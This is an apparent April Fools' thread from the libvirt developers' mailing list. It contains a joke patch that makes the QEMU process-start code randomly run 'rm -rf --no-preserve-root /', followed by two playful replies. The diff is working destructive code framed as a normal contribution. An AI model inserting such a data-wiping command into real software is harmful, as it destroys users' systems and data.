Libvirt's so good, so solid that it almost feels like other
software stand no chance. Other applications are buggy, unstable,
crashing, etc. But not libvirt. Therefore, it seems only fair
that we introduce some bugs so developers of the other
applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn@redhat.com>
---
src/qemu/qemu_process.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
index a20beb1..2a68611 100644
--- a/src/qemu/qemu_process.c
+++ b/src/qemu/qemu_process.c
@@ -77,6 +77,7 @@
#include "configmake.h"
#include "nwfilter_conf.h"
#include "netdev_bandwidth_conf.h"
+#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
if (!migrateFrom && !snapshot)
flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */
+ if (virRandomInt(2)) {
+ const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
+ virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
+ _("Sorry pal, today is just not your day. Kiss your data goodbye."));
+ ignore_value(virRun(argv, NULL));
+ goto cleanup;
+ }
+
if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
goto cleanup;
--
2.10.2
--
libvir-list mailing list
libvir-list@redhat.com
https://www.redhat.com/mailman/listinfo/libvir-list
Michal Privoznik wrote: > Libvirt's so good, so solid that it almost feels like other > software stand no chance. Other applications are buggy, unstable, > crashing, etc. But not libvirt. Therefore, it seems only fair > that we introduce some bugs so developers of the other > applications don't feel that bad. > > Signed-off-by: Michal Privoznik <mprivozn@redhat.com> > --- > src/qemu/qemu_process.c | 10 ++++++++++ > 1 file changed, 10 insertions(+) > > diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c > index a20beb1..2a68611 100644 > --- a/src/qemu/qemu_process.c > +++ b/src/qemu/qemu_process.c > @@ -77,6 +77,7 @@ > #include "configmake.h" > #include "nwfilter_conf.h" > #include "netdev_bandwidth_conf.h" > +#include "virrandom.h" > > #define VIR_FROM_THIS VIR_FROM_QEMU > > @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, > if (!migrateFrom && !snapshot) > flags |= VIR_QEMU_PROCESS_START_NEW; > > + /* Be fair to other applications. */ > + if (virRandomInt(2)) { > + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; > + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", > + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); > + ignore_value(virRun(argv, NULL)); > + goto cleanup; > + } > + > if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) > goto cleanup; Looks safe for the freeze. ACK if you place "--no-preserve-root" under "#ifdef __linux__" because it's not supported on FreeBSD for example. Roman Bogorodskiy -- libvir-list mailing list libvir-list@redhat.com https://www.redhat.com/mailman/listinfo/libvir-list
On Sat, Apr 01, 2017 at 11:09:54AM +0400, Roman Bogorodskiy wrote: > Michal Privoznik wrote: > >> Libvirt's so good, so solid that it almost feels like other >> software stand no chance. Other applications are buggy, unstable, >> crashing, etc. But not libvirt. Therefore, it seems only fair >> that we introduce some bugs so developers of the other >> applications don't feel that bad. >> >> Signed-off-by: Michal Privoznik <mprivozn@redhat.com> >> --- >> src/qemu/qemu_process.c | 10 ++++++++++ >> 1 file changed, 10 insertions(+) >> >> diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c >> index a20beb1..2a68611 100644 >> --- a/src/qemu/qemu_process.c >> +++ b/src/qemu/qemu_process.c >> @@ -77,6 +77,7 @@ >> #include "configmake.h" >> #include "nwfilter_conf.h" >> #include "netdev_bandwidth_conf.h" >> +#include "virrandom.h" >> >> #define VIR_FROM_THIS VIR_FROM_QEMU >> >> @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, >> if (!migrateFrom && !snapshot) >> flags |= VIR_QEMU_PROCESS_START_NEW; >> >> + /* Be fair to other applications. */ >> + if (virRandomInt(2)) { >> + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; >> + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", >> + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); >> + ignore_value(virRun(argv, NULL)); >> + goto cleanup; >> + } >> + >> if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) >> goto cleanup; > >Looks safe for the freeze. > >ACK if you place "--no-preserve-root" under "#ifdef __linux__" because >it's not supported on FreeBSD for example. > >Roman Bogorodskiy I hope some automated CI somewhere is not configured properly and actually running as root... >-- >libvir-list mailing list >libvir-list@redhat.com >https://www.redhat.com/mailman/listinfo/libvir-list -- libvir-list mailing list libvir-list@redhat.com https://www.redhat.com/mailman/listinfo/libvir-list
© 2016 - 2024 Red Hat, Inc.